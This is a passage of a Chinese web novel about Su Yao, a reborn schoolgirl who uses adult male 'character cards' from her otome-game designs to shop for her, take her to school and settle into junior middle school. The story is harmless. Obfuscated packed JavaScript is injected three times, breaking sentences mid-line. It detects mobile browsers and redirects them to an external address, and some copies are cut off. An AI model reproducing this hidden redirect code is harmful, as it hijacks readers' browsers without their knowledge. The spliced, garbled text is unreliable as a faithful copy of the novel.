卖菜阿姨直接按给常客的价格，为大帅哥打包了空心菜、洋白菜，“都是刚摘的！新鲜！” 大帅哥客客气气地说好，“谢谢姐。” 阿姨笑容更深了。 她好奇问他：“小伙子有对象没？阿姨给你介绍啊，我一外甥女，大学刚毕业呢，长相也不错，和你年纪应该相仿……” ‘钟和熹’的身份证年龄填的是23岁。 比主身体大了10岁。 苏尧填年龄时，按照她当初策划乙游时的设定来写，其余‘人物卡’的年龄与之相仿，差不了多少。 卖菜阿姨说着说着，就看到‘钟和熹’眨了眨眼，温和地，低声说：“姐，现在不打算谈恋爱。” “我还得养妹妹呢。” 阿姨晓得他嘴里的妹妹是谁，前几天，帅小伙子来买菜，身旁有个眼睛亮亮，特可爱的小闺女。那就是帅小伙嘴里的妹妹了。 听说，他俩相依为命呢。 她有点可惜，但没有强求。 “有打算谈恋爱，找我哈！你这好样貌，谈个三四个都不为过。” ‘钟和熹’听着这虎狼之辞，无奈地笑了笑。 他转向下一个摊位，买了条鲈鱼，准备回去炖汤。 又去猪肉摊子买了点五花肉。 自己买食材做饭，成本不算太高，吃的还健康。 接送上学，再加上菜市场买菜，回到家。 备菜。 3小时时长卡，用掉了1.5小时。 苏尧决定第一天在学校吃午餐，晚饭再回家吃。 ‘钟和熹’一天要干很多事儿，满打满算，3小时刚好够用。 还好，新的‘人物卡’明天就能解锁。 ‘人物卡’受限于启用时必须在主身体身边50m范围内，导致苏尧上下学时，没有办法让‘钟和熹’来接送。 道理很简单，自行车骑回家了，为了节省时长，‘人物卡’必须收起，暂时不用。 再启用时，‘钟和熹’在主身体身边50m范围内（即校园附近）……这意味着，放学后，苏尧没法让‘人物卡’骑着自行车来接她。 不过，苏尧已经很满足了。 来学校时，一身干爽，没有汗味。 回去时需要走路，但这又有什么问题呢，刚好可以锻炼一下嘛。 新生入学，老师点名，从入学档案安排的1号到64号。 苏尧在23号。因为个子较矮，被老师安排在第二排，能看得见黑板，还容易被老师观察到的位置。 优班的竞争强，班上不少同学都是教职工子女找关系调进来的。 分配在苏尧身边的同桌，和上辈子是一个。 吴葶葶托着腮，笑眯眯地和她打招呼：“我听说你是一小六年级毕业考的第一名欸！” 她眼睛骨碌碌地转，十分活泼，脸颊边有浅浅的笑涡。 苏尧看到她，第一眼时，有些茫然，心想，这个小女孩是让她多次午夜梦回时，尴尬得惊醒，失眠到凌晨的“吴葶葶”吗？ 她看起来一点也不像前世，说着让她无地自容的刻薄话。 苏尧缓了缓神，回她：“我是。” 这样的对话，前世没有发生。 她被五公里长的路程带来的汗味击溃，陷入长久的羞愧与自卑中，多年惶惶不可终日。 这一次，她是坐在自行车后座来到学校的。 干净、漂亮，有着最好看的麻花辫（苏尧非常自信，这可是二十年后的时髦款呢！）。 吴葶葶笑着挤了一下她的肩膀：“我妈说让我向你学习，希望我今年也能考个好成绩！” 吴葶葶的妈妈是一中初中部，正在教初三年的英语老师。 苏尧托着腮。她没有自夸，也没有自贬，只说：“学习这种事难讲啦。不过，女孩子成绩是要比男生强很多的。” 她记忆犹新，这一届的同班同学，女生里上重点高中的数量比男生多了一倍。 女孩子在学习上总是要比男孩更能静得下心，更有天赋的。 前桌是男的，李驰扭头看了她们俩一眼，在苏尧的目光下，默默地又扭回头去。 苏尧又开始感慨：她现在才一米五出头，李驰比她还矮呢，谁能想得到，初三时李驰一下子涨到一米八，直接跑最后一排去坐了呢。 对于初中，苏尧还是很有印象的。 她听着班主任兴致勃勃地说着几天后的军训，聊着“开学第一课”，“今天晚上八点啊，你们回家在央视一号看……看完后明天给我写个800字小作文，写写感想……” 窗外榕树叶摇，簌簌晃动，绿影飘飖。 苏尧听着熟悉又陌生的，曾经在前世经历过一次的嘈杂人声，她微笑着翘起唇角，想着今晚能吃上鲈鱼汤和炒五花肉…… 啊，幸福！真期待！ 9. 第 9 章 开学第一天，需要做的事情很多。 班主任在下午最后一节课开班会，从1号到64号做简短的自我介绍，让大家了解彼此。 苏尧是23号，位次不前不后，非常适中。 她站定在讲台前，对台下的同学们开口：“我是苏尧，尧舜禹的尧。” 关于上辈子的新生自我介绍，苏尧忘得一干二净。她记忆力很好。可惜，只在那些让她羞愧懊恼的细节中有着奇迹般的执着。 在讲台上，观察着青涩熟悉的脸庞，那些让人羞窘、无奈的过往，缓缓地被新的记忆覆盖。 苏尧眨了眨眼，情难自禁地微笑起来。 她并不知道，自己在斜照进室内的浅金色日光下，翘起嘴角，笑得灿烂大方的模样有多明亮耀眼—— 其实，她只照本宣科地说了自己的爱好：“我喜欢读书，喜欢打羽毛球……” 打羽毛球有助于动态视力，对有近视危机的未成年人有好处。 苏尧准备买几只羽毛球拍在家里备着，有空时，在院子里打打。 她非常珍惜13岁时眼眸清亮，毫不模糊的视力。 讲台下有人摇手了，开朗小狗那样左右晃动：“我也会打！有空一块呀！” 说话的是印象里特别开朗的初中女同学——苏尧定睛一瞧，笑容更深。是熟人。 周忱瓷。 她们成绩相当，一起考入重点高中，又分到一个班，高二文理分科时还是同班同学。 掐指一算，足足做了六年的同班同学。 前世的苏尧性格文静内敛，很少主动说话，是周忱瓷主动和她交上朋友的。 遗憾的是，年轻的苏尧不那么擅长交朋友、维护感情，她们在高中毕业、各奔前程后，失去了联系。 “好呀！” 苏尧冲周忱瓷点头，她轻快地踏着脚步结束了自我介绍。 紧随其后的24号慢吞吞地上台，班主任继续着流程。 落座时，同桌吴葶葶看了她一眼，想说什么，忍住了。 苏尧没注意到她的情绪变化。 她的心思早就飘忽到接下来的初中三年要如何度过。 初高中学业对于重来一次的自己，真的非常简单。 从小品学兼优的苏尧，哪怕成年工作了，依然记得精进自己。她的生活富有规律，工作之余，还会上‘多邻国’那只大绿鹦鹉软件上打卡外语，翻看外刊，国外新闻等。 学习几乎是苏尧人生中最简单的事。 她可以毫不费劲地学好知识。 苏尧翻过初一的教科书，从语数英到政史地生，确认自己对上面的知识仍有印象。只要重复背诵几次，便能再次掌握，得心应手。 那么，放在她眼前，亟待解决的问题，便是“挣钱”。 挣足够的钱，将‘人物卡’全部解锁，再将‘人物卡’的社会融入度达成百分之百。 这将是她迫切需要完成的“人生任务”。 苏尧会为此尽全力，她喜欢有另一个自己陪伴在身边的时光。 ‘钟和熹’的存在，让她的重生有了显著变化，足够她满足自我温饱的同时，享受精神上的充盈。 ——一个可靠的温暖的成年人，为独居留守在家的未成年人带来的安全感是无与伦比的。 更多的成年人，意味着更多的安全感。 苏尧不需要像前世，晚上回家，在月光下踩着影子，担惊受怕，像只耷拉着毛发、瑟瑟发抖的流浪猫。 邻居一家人不错，大叔问过她要不要一块坐车回去。 苏尧拒绝了。 没有办法，她担不起车费、油费的人情，这些对于13岁的自己太过昂贵，她身无一物，不晓得该如何回报。 父母不关心她上下学安不安全，定期来电时，只会说让她好好读书，不要在外撒野。 南方小县城里，困窘、疲惫、惊恐的青少年时期中，还发生过县体育场a滋病人拿针管戳刺无辜路人的恶性事件……苏尧记得，那段时间里，放学回家时她双腿战战，吓得够呛。 要不是养不起大狗，苏尧真的会领养一只，护驾保卫。 如今，她不需要眼馋别人家养的健壮活力大狗。 苏尧自己就能很好地照顾自己。 她托着腮，看向讲台上自我介绍的同班同学们——一溜号，回过神，原来已经到45号了。 吴葶葶是46号，她正在焦急地抠手指。 苏尧对她的个人感官稀疏平常。 没有那么记恨她上辈子直白说她“身上有怪味道”的刻薄话，但也没有很喜欢她。 她托着腮，听着吴葶葶碎碎念，“好紧张好紧张——苏尧，你刚才上去紧张吗？” 吴葶葶想从她嘴里得到附和的、一致的感受，给她点无声的安慰。 苏尧没有，她耸了耸肩头，平静道：“不紧张。” 已经是成年人，社畜多年的，活过一遭的苏尧，看着年龄比她嫩了好多的“小朋友”们，能有什么紧张感呢？ 她只觉得轻松惬意。 多年阅历带来的游刃有余，衬着笑容，变成奇妙的、发酵的温和与明亮。 这种愉快，明显给许多人留下了深刻印象。 吴葶葶咬住嘴唇，45号快说完了，她匆匆甩下一句，不知道是生气还是玩笑话：“你看起来真冷静，是你家里人教的嘛，好羡慕。” 苏尧愣了愣。 她直勾勾地盯着上了台的吴葶葶，不动声色地想，这小女孩究竟是知道她家里的情况，故意这样说，还是……无意的？ 她不想要以最大的恶意来揣测她的想法。 不过，她也不会放任她这样做。 苏尧不喜欢和充满恶意的人打交道。 譬如黄乐乐，她讨厌她，在早知道她对她怀有厌恶时，会直接当面怼回去，骂她“死八婆”。 她的视线落在吴葶葶的脸上，划过她说话时隐隐显露的笑涡，又落在了她最后的几句话。 吴葶葶好活泼地笑，说自己的爱好，眨着眼睛：“我的爱好是看外语电视剧，生活大爆炸！” “我妈妈说看英语电视剧有利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15140022|164481||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于英语听力……” “我还买了下周的《盗x空间》电影，准备去看~” 班主任是英语老师，对这点非常赞同。她在吴葶葶说完以后，难得地插入学生们的自我介绍，补充道：“是，多看外语电影电视剧对英语听力有帮助。葶葶很厉害嘛。” 一中优班教职工子女很多。64号学生，起码有20号学生都是这一届一中、二中等学校教师的子女。 他们大都知道吴葶葶嘴里说的“妈妈”指的是一中初三的英语老师。 小县城的初中生，青涩又喜好出风头，是说一句《盗x空间》里的经典台词，沾沾自喜一句自己买了票去看国内首映，就能得来无数艳羡眼神的年纪。 吴葶葶脸蛋红扑扑地回到位置上。 苏尧若有所思，她似乎明白这个年纪的初中生最在乎、最想要得到的是什么了。 是别人都要觉得ta很厉害，很受关注。 吴葶葶出了风头，不再纠结方才苏尧的回应稍显冷漠。 她骄傲地将新笔袋里的笔掏出来，逐一陈列，忍不住炫耀了一下：“我买了新的荧光笔，你要是想要用，我可以借你用一下喔。” 苏尧拉长语调，“好呀，谢谢你。” 她等着班主任宣布班会结束。 然后，动用了‘人物卡’。 教室50m内就有个适合“大变活人”的公共厕所。 …… 初一新生的家长们在乎孩子们刚上学第一天，大多都来学校亲自接送。 小升初，家长们还将孩子们当作小朋友看待。 吴葶葶拉着从初三楼层赶来的孙老师的手，喋喋不休。 她真的很骄傲，冲妈妈道：“刚才我做自我介绍啦——” 话没有说完。 班上还没走的学生们传来一阵喧哗。 “好帅！” “这是谁的哥哥啊，长得真好看……” 夕阳斜照，苏尧终于有了年少的实感，她弯起嘴唇，与班级门口站立的‘钟和熹’，另一个自己，两两相望。 一张显眼到让人难以忘记的英俊容颜，足够所有看到这一幕的人失语。 旋后，‘他’沉默地走进，主动伸手，拿过她沉重的书包，又与她并肩离开班级。 吴葶葶目瞪口呆，看着同桌被超级大帅哥揉了揉发顶，替她背起了在成年人身上显得格外幼稚的书包。 所有人的注意力都落在了他、她的身上。 没人在乎她吴葶葶了。 哪怕是原本凑过来问她，哪里买的《盗x空间》电影票的同学，都被他们离去的背影深深吸引，并发出感慨：“哇，苏尧的家长好帅啊，怎么长得这么好看！” “帅晕我了……” “我早上看到她家长送她上学！真的好酷，他骑了一辆自行车，苏尧就坐后面！” 苏尧听着身后的议论声，她小小地窃笑起来。 ‘钟和熹’同步地弯起嘴角，深深地、深深地笑了。 原来，读书时代当风云人物是这样的感受啊。 10.第 10 章 回家。 鲈鱼汤和五花肉，一如预期的美味。 吃完饭，苏尧根据老师的吩咐，八点整，准时打开央视一套，看《开学第一课》。 青少年的肚子总是饥肠辘辘。 她看着电视，听着主持人昂扬的语调，时不时吃两块袋装饼干。时长卡只剩下20分钟了，苏尧不太舍得用，吃完晚饭洗碗收拾都是主身体来干。 班主任安排的“开学第一课观后感”，苏尧不准备等看完了再写，她咬着笔头，边听边写。写的速度不紧不慢，期间还忍不住分神，看了几眼课表。 今天周三，再上两天到周末。 一中是公立学校，不像私立初中，初二开始周末补课；如无意外，初三时课表才会有所调整，上六天休一天。 这代表着，初一、初二的周末，她可以腾出两天时间去挣钱。 ‘人物卡’的升级对应着现实中的“挣钱值”。 “挣钱值”是指主身体和‘人物卡’创造的财富总值。 苏尧不确定彩票中奖（她计划着四年后大鹅世界杯买足彩）算不算入其中，如果可实现，足彩中奖，那么解锁的速度显然会加快；要是不算，她必须要在不需要使用个人身份证的情况下，让‘钟和熹’及明天要解锁的‘人物卡2号’挣到足够的钱。 苏尧看着正在缓冲，还剩下十几个小时就能解锁的‘人物卡2号’。 她的胸膛里盈满快活的期待。 …… 开学第一课迎来尾声。 电视屏幕上，主持人对着镜头，温柔而有耐心地道： “同学们，让我们带着开学第一课给予的启迪与力量，勇敢迈出新的步伐……”（注） 苏尧终于写完了800字的观后感。 她盖上作业本，长舒一口气。 收拾书包，准备好明天要上的课本。 零点前，动用了‘人物卡’，把最后20分钟使用掉。 ‘钟和熹’给主身体梳好头发，扎了个样式不同的精致辫子。 上床，睡觉！ 一夜酣睡，深甜无梦。 翌日，早上六点四十分。 ‘人物卡2号’终于解锁。 苏尧紧盯‘人物卡’，轻轻一点，她的眼前如遇清风，豁然开朗。 一个如雪般清俊的成年男人，嘴角微弯，笑吟吟地出现。 …… 策划乙游角色时，苏尧为四个乙游男主既定的外貌、性格各有不同。市面上好评颇多的攻略向游戏，可攻略人物的人设势必具有显著差异。倘若雷同，便失去了创造该角色的意义——玩家们不会愿意为“雷同角色”支付金钱，更不会认为这类角色富有魅力，值得深入游玩。 因此，苏尧为‘钟和熹’塑造的人设，与他的外貌吻合：多情眸偏偏绽出冷漠，眉目锋锐，并不平易近人。 ‘裴雪归’迥异于此。 ‘他’有一张亲和力极强的清俊脸蛋，眼角微微下垂，鼻尖带着一粒颇为魅惑的红痣，嘴唇天然地向上，是个放在后世会被称为“天生微笑唇”的漂亮男人。 ——甜美萨摩耶。 苏尧忍不住狗塑了一下，用主身体的手去碰漂亮男人的鼻尖，她的意识交汇，分线三股，以奇妙有趣的角度，观察世界。 ‘裴雪归’的视角和‘钟和熹’的差不了太多，‘他们’都是一米八多近一米九的高大男人。 苏尧非常稀奇地摸，她能触摸到‘裴雪归’的温度，不知道是不是错觉，实体化后的‘人物卡2号’似乎要比‘人物卡1号’的稍低些。 更像是，一个灼热，一个温凉？ 苏尧暂时没空细究其中的差异。她的重点关注在于‘人物卡’的使用时长，瞟了眼具体信息，实体化人物卡后，‘裴雪归’的可用时长同样是三小时。 时间飞速，到了该上学的点。 她决定让‘裴雪归’骑车，试试新‘人物卡’的体力如何。 …… 邻居家大叔高声喊着磨磨蹭蹭的孩子们：“快点！要上学了！” 大女儿最乖，已经坐上轿车后座，趴在车窗上，看苏家半敞的院子。 她抱着一饱眼福，看苏尧的帅气哥哥的想法，盯着院子看，等啊等……没料到，推着自行车出来的，居然不是昨天见过的那个英俊大帅哥？ 她愣了，直呆呆地看着清晨阳光下，被院外树影婆娑映衬得一举一动格外吸睛的漂亮男人。 他穿着一身很体面的衬衫，笔挺灰长裤……年轻女孩只在电视剧里看过这么精致优雅的穿着，每一粒扣子都像是玉石，被光影浸得亮亮的。 漂亮男人的头发在天光下，是浅褐色，边缘微卷，风吹动，几缕发丝落在了颧骨旁。 然后，他似有所觉，朝她的方向望来。 邻居大叔全身心都在催促两个小子赶紧出门的事儿上。他看着两个儿子从家门口穿着鞋跌跌撞撞地走出，松了口气，扭头瞟了眼身后，忽然诧异起来：女儿怎么脸红了？太阳这么大吗？ 紧随其后，是一串明亮的车铃声。 苏尧坐在后座，冲邻居们礼貌地微笑说再见：“我去上学啦！” 大叔“诶”了一声，他只看到骑自行车的年轻男人肩宽腰瘦，还没意识到和昨天的不是一个人呢。 直到孩子们都坐上车了。 他才听到大女儿含含糊糊地说：“老爸，你看到没有哇，今天接苏尧的好像是另一个人诶。” 小儿子嚼着没来得及在家里吃 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教导主任的“鹰眼”如同扫射灯，直勾勾地看了过来。 他放了全身心注意力在她身上。 教导主任惊愕发现：今天送新生小姑娘的居然和昨天的不是一个人？ 他狐疑的视线落在了年轻男人身上，又是本能一怔。 恰逢一朵厚厚的云遮盖阳光，光线略有暗沉，失了前几刻的璀璨辉煌。 新的年轻男人顶着一张和气柔和的俊脸，目光笔直，将周围人炽热的目光当作不存在般，兀自紧紧追随着小姑娘踏进校园内的身影。 和昨天一样，新生没理睬身后的注目，她心无旁骛地往校园走，看到他，还认认真真地打招呼：“老师早上好！” 教导主任绷紧嘴角，听到这话，稍泄笑容，颔首回应。 直到她的背影消失无踪，年轻男人准备离开。 暗淡的天光一点也没有遮盖他身上的贵气。 这个男人身上的衣物，和昨天来的那个品质相同。 教导主任眯了眯眼，短短几分钟，他根据样貌对比、经验分析，认定他们没有亲缘关系。 阅历丰富的教导主任从没在这方面出过错。 他皱了皱眉，没有立刻上前质问，而是持续观察。这非常保守了。 教导主任都有点为自己和过往不同的作风犯嘀咕。 可是，他到底说服了自己： 毕竟，小姑娘看起来真的很不在乎样貌俊朗“自行车司机”的样子…… 没看到她一个眼神都没给他们吗？！ 11.第 11 章 开学第二天，班主任任教的英语课上，她点名要吴葶葶做课代表。 吴葶葶强压激动，笑着接过了班主任安排的职位。 苏尧托着腮，听着周围同学的艳羡声。对于初一的孩子来说，能当上老师的助手，是一件非常长脸的事。 班主任：“下周的班会，将要竞选班长、学委、生活委员等班级职务，不记名投票。希望大家准备好演讲稿。好了，关于班级的事情就讲到这，现在翻开第四页……” 唰唰翻书声中，吴葶葶用手肘戳了戳苏尧：“你要竞选吗？” 班主任没说一人不能身兼数职。课代表与班级职务不冲突，吴葶葶对班会竞选有想法。 苏尧：“不，我太忙了。” 她的生活太忙碌，抽不出空来兼顾班级事务。吴葶葶不太信，她装作不经意的样子，“你成绩那么好，老师肯定想让你当学委。” 事实上，前世的苏尧确实当了一段时间的 “学委”——班主任给学生任命时，考虑了学生的成绩和个性，偏好文静内敛、成绩优异的女孩做学委，能好好带领班上的学风。 苏尧当学委时，干的活最多的是早读课领读。 她没有当太久。13岁的苏尧主动找班主任辞掉了这项职务，原因很简单：疲于应对独立生活压力的年轻孩子，是很难再腾出时间进行班主任安排的“学委任务”的。 这辈子，苏尧显然没有上辈子那么沉重的生活压力，但这并不意味她就要竞选班级职务。 没去管同桌心里头的沟沟道道，苏尧跟着班主任的讲课进度，认认真真地开始听课。 大抵是意识分股，锻炼了她“三心二意”的能力。即便上课中途严重溜号，老师点名要学生回答问题时，无需旁人提醒，苏尧自己就能第一时间地反应过来。 班主任依照学号点了回答音标读音。 苏尧恰好是其中一个。 她流畅地回答了问题，在班主任嘉奖的目光下落座。 与此同时，骑着自行车前往菜市场的‘裴雪归’迎来了摊贩们的关注。 新的‘人物卡’实体化第一天，测试外出时独立完成事件的消耗精力——苏尧需要知道‘裴雪归’使用3小时时长，得用多少食物补充能量，是否像‘钟和熹’那样，起码需要一顿饭来维系日常活动？ ‘他’推着自行车，将车子锁在榕树下，眼熟这辆车的卖鱼摊贩好奇地看了他一眼，发现居然不是昨天的那个帅小伙，惊异开口：“帅哥，昨天是你的谁来买菜啊？” ‘裴雪归’有一双比‘钟和熹’温驯许多的眸子。浅褐色的卷发让他的眉眼柔和，无疑要比昨天那个帅哥更平易近人。 卖鱼摊贩昨天给‘钟和熹’卖了一条肥美鲈鱼。 他纯好奇，问得响亮，吸引了周围不少人的视线。 ‘裴雪归’定了定，他的眼睫阴沉沉地压了下来，遮住剔透眼珠。 他答：“朋友。” 卖鱼摊贩霎时呆愣，心里头发紧。 问这话前，他注意到‘裴雪归’在锁车，发现这个帅哥长得同样不差，和昨天那个帅哥是俨然迥异的风格。 比较来看，‘裴雪归’样貌柔和，是亲和力极高的好看长相。鱼贩子大喇喇地问出口，不以为意，心中认定这帅哥肯定很好说话。 起码比昨天那个长相冷漠的帅哥好说话吧！ 可是，太怪了。 当他问出他和昨天那个帅哥什么关系时——卖鱼摊贩发誓，自己就是随口问一句，他可没有追根到底的意思，就是看到他俩骑了同一辆自行车，人之常情的好奇而已！ 鱼贩子内心戚戚。他不敢看‘裴雪归’了。 谁能想得到，问完这句话，他回应的语气这样硬邦邦？听起来让人心里头凉凉的。 他只敢干笑两声。 “挺好，关系不错吧，他还借你自行车呢。” “嗯。” ‘裴雪归’一副不愿意提起某人的样子，平静地冲鱼贩子颔首，大步往菜市场走去。 …… 苏尧在课堂上蹙起眉头。 ‘人物卡2号’初次实体化，时间还不到1小时。她骤然发现了一点异常：‘裴雪归’听到与‘钟和熹’相关的内容时，成年男性躯体会本能地泛起某种不适，就像是…… 听到生物链里互为捕食者的存在，浑身上下都泛起警惕不安。 早晨，她在家里尝试实体化‘人物卡’时，太过匆忙，暂未测验过两张‘人物卡’近距离接触下的反应。 将意识接入‘裴雪归’，确定要让‘裴雪归’骑车接送上学后，苏尧迅速将‘钟和熹’人物卡收了起来——她十分节省，决心要利用成年男性身份的分毫时间。 直至，到达菜市场，从鱼摊老板嘴里听到与‘钟和熹’有关的称呼。 ‘裴雪归’感到强烈的不适，这种不适感让‘他’脸上的客气礼貌消失无踪，与此同时，甩出几个硬邦邦的字以作回应。 苏尧暂时不确定其中具体缘由。 她听着下课铃响，吴葶葶绕过她，活跃地问后桌要不要一块去上厕所：“走嘛，陪我去~” 后桌本没有尿意，硬是被吴葶葶的央求磨得没办法，两人结了厕所搭子，一块去了。 苏尧托着腮，心不在焉地看着她们离开。吴葶葶的疏远情绪并不难察觉，她并不放在心上。不过，正是吴葶葶这个绕过她找后桌做厕所搭子的举动，让她灵光一闪，有了答案。 ——是‘乙游男主马甲们’之间的“相性不合”。 乙游角色具有迥异不同的外貌与个性，意味他们天然不是同类人。 以及，苏尧策划设定人物时，她曾经设想过攻略角色的故事线交织，乙游男主们在各自的故事线中曾以不同角度认定对方为“情敌”。 当‘人物卡’实体化出现于现实中，这些策划时的显著特性同样融入躯体，带来了奇异的化学反应。 听之生厌，是‘裴雪归’对此的强烈反应。 苏尧转动中性笔，她长舒一口气，这个猜想十有八九是真相。不过，还需要等回家后继续测试。 很快，吴葶葶揽着后桌的胳膊，笑嘻嘻地走回教室，向大家道：“刚才我看到教官了！下周就要军训啦！” 她的话吸引了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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苏尧平静地答：“他需要挣钱养家，在有条件前，不会考虑这些事。” 吴葶葶皱了下眉头，她带着复杂的目光看向她。 苏尧注意到她的情绪变化，她心中一哂：果然，吴葶葶清楚她的家庭情况。 上课铃响了。 数学老师款款走进教室，她们的议论声瞬间低了下去，消失无踪。 借着同桌的距离，吴葶葶小声问：“挣钱养家，是要养你吗？” 苏尧眨了眨眼，她轻松地弯出一抹笑容，“是的，我们相依为命。” 相依为命，听起来苦兮兮惨得让人落泪的名词。若是放在普通人身上，只会惹来怜悯与叹息。 可是，吴葶葶看着苏尧骄傲翘起的鼻尖，她面上平静，毫无苦情，一副坦然无畏的模样…… 吴葶葶咬着的嘴唇险些要咬出深痕。她百思不得其解：为什么苏尧可以这样坦然呢？她不该自卑，不该觉得难为情吗？ 真奇怪！她从没见过像这样的人！ 吴葶葶忿忿地想。 12.第 12 章 开学第二天，语文老师布置着作业：“明天我要检查背诵，课后习题1-3……”她强调着，“不要忘了做作业！” 初一的孩子稚气未脱。 经验丰富的老教师们非常懂如何管理这群小屁孩，刚入学时要用对待“小学生”的方式，耳提面命，让他们记得每天的作业是什么。 智能机还不普遍的当下，老师没法组织微信群、企鹅群来通知班级事务、每日作业。 课代表负责着记录老师安排的作业，誊写在大黑板角落的“每日作业”区域，以此提醒大家不要忘记。 苏尧看着老师任命的几个课代表，有序地在“每日作业”区域用粉笔书写。字不太好看的，会抓耳挠腮地把字写得更清楚点；字好看的，难免压抑不住嘴角的笑意。 校园从不是单纯的伊甸园。 竞争意识无时不刻地窜梭于学生之间，即使是黑板粉笔字的美丑。 吴葶葶写完英语作业的最后一个字，可能是不太满意，想改几个字。后面有人催促，她没机会擦掉修改，悻悻让出位置。 周忱瓷是数学课代表，紧随吴葶葶之后，快速写完今日作业。 她的字写得潇洒俊秀，很有功底，写完后拍拍手掌心的灰，满意地点了点头。 她毫不掩饰自己的情绪，扭头看到第二排的苏尧，盈起笑容，“我的字怎么样？” 苏尧：“好看。” 她笑吟吟地回答。 周忱瓷：“我也觉得！”她高高兴兴地回到位置上。 她比苏尧高了一些，班主任根据身高安排她坐在第四排，两人隔了一个小组，是课堂上没法儿交头接耳的距离。 不过，这并不影响她们交上朋友。 放学了，提前收拾好书包的同学脚步轻快地走出教室。 周忱瓷邀请她一块走：“你家里人来接吗？还是自己回去？” “自己回。” 多了一张‘人物卡’，使用‘人物卡’的范围仍然受限于主身体50m内。 ‘裴雪归’买好食材回家，洗碗备菜、晒上午出门前丢进洗衣机里洗好的衣服，干完所有活后，收起‘人物卡’。 随着‘裴雪归’一起归家的自行车安稳地放在院子里，无法跟着‘人物卡’的再度使用，出现在主身体的50m范围内。因此，即使多了‘裴雪归’，她还是得自己走回家。 苏尧算过，只有将‘人物卡’的时长升级为12小时及以上，才有机会让成年男性身份往返接送。届时，她可以不收回‘人物卡’，自早上六点多接主身体上学，再到傍晚五点多接主身体回家…… 但这都是将来的事了。 周忱瓷：“我家就在这附近，我们一块走吧！” 苏尧答应了。 她们一块步行在夕阳斜照的校园小道上，榕树叶被微风刮出细碎的声响，恬静美妙得心荡神驰。晚霞是深紫与浅橘的交织，远远山景被云霭浸染成油画，放眼看去，美不胜收。 走着走着，出了校门。周忱瓷从口袋里掏出mp4，戴了一只耳机，递给她一只，示意一块听。 班主任暂时还没封禁学生们带电子产品来校，周忱瓷说：“我刚下了好多歌，听不听？” 苏尧没有拒绝。 她们不聊天，默契地走在路上，听着耳机里的悠扬音乐。直到分别。 “尧尧，明天见！”周忱瓷进了家门，冲夕阳晖光下，杏眸格外明亮绚烂的新朋友苏尧告别挥手。 苏尧将戴在左耳的耳机摘下，还给周忱瓷。 摘下耳机时，Mp4里的歌恰好放到比伯的baby，甜美清亮的男声让苏尧情不自禁地笑着回应：“忱瓷，明天见！” 周忱瓷乐颠颠地进了屋，在玄关换拖鞋，放下书包。 温女士刚从一中高中部开完会，金丝框眼镜还没脱下。她坐在客厅桌前，整理教案，看着女儿跳脱模样，扬眉询问：“小周同学，今天这么开心呀？” 周忱瓷嘿嘿一笑。 她挨到妈妈身旁，搂着温女士的胳膊，神神秘秘道：“我班上有个可漂亮的女孩，我想和她做朋友，所以我邀请她一块走路回家啦！” 温女士没有追问是谁，她很习惯女儿交友时的主动出击，温和道：“那很好呀，她答应了吗？” 周忱瓷：“当然！” 她扬扬得意，像是一只无忧无虑的小狗，“妈妈我和你说喔，这个女生长得好看，她家里人也长得好好看噢！” 温女士听着女儿的喋喋不休，情不自禁地摇头失笑。 她想，她家女儿一如既往，幼儿园、小学时就最爱和班上最出彩、漂亮、可爱的小朋友一块玩……上初中了，是大孩子了，居然还是这样。 青春期该有的同性嫉妒心，似乎从没出现在周忱瓷身上。 温女士莞尔，她听着女儿强调着新朋友：“苏尧真的很可爱，虽然我们还没说上几句话，没有特别熟，但是——嗯！她真的很可爱啦！” …… 回家。 苏尧终于有空将两张‘人物卡’掏出，试探彼此的舒适范围。几次尝试，她确定自己的想法没错，“乙游男主马甲们”天然地无法适应彼此。 一旦距离太近，躯体会有恶劣反应。 如同两只猛兽领地重合，彼此虎视眈眈。 苏尧观察了两具躯体靠近后的面部表情——哪怕有她的意识操纵，‘他们’的神情还是会奇异冷淡地阴沉下去。 ‘钟和熹’本就长着一张冷淡脸，平日里纯靠苏尧的“甜言蜜语”技巧，在外出社交中展示较为柔和的一面。这下，连演都演不动了。 冷脸大帅哥嘴唇抿紧，眉心微拧，眼睫乌压压地覆住瞳孔，室内灯光恍惚，洇出浅浅阴影，堪称冷酷刻薄，展现了人性的幽微可怖。 “裴雪归”呢？ 菜市场鱼贩子所见的表情变化，苏尧还是头一遭以自己的角度窥见。 她眼睁睁看着有着“甜美萨摩耶”般柔顺俊丽脸蛋的漂亮男人，一下子沉了脸。丁点反应时间都不给，是刻在骨子里的厌恶，让‘他’原本既定的礼貌温驯性格都变了个样。 苏尧懂了。 为什么鱼贩子在‘裴雪归’买完菜后离开时，愣是没敢多说几句玩笑话，默默地摸了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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‘裴雪归’难以适应有‘钟和熹’在的空间，避之不及，讳莫如深地错开桌子，但并没有避开主身体。 苏尧仰起脸，很自然地让‘裴雪归’摸了摸发顶。 蓬松漆黑的头发被精心护理着，很香，很干净，是走出去会被人认定，她是有家人疼爱的小孩的洁净。 ‘裴雪归’的时长剩下15分钟。 苏尧享受了一会儿揉发顶的舒适，猫咪般被摸得晕陶陶，感觉太舒服了，又强行停止，顺势抓了成年人的手腕，捏着‘新人物卡’的手掌，感受体温，仔细对比。 她能察觉出‘裴雪归’和‘钟和熹’样貌以外的不同之处。 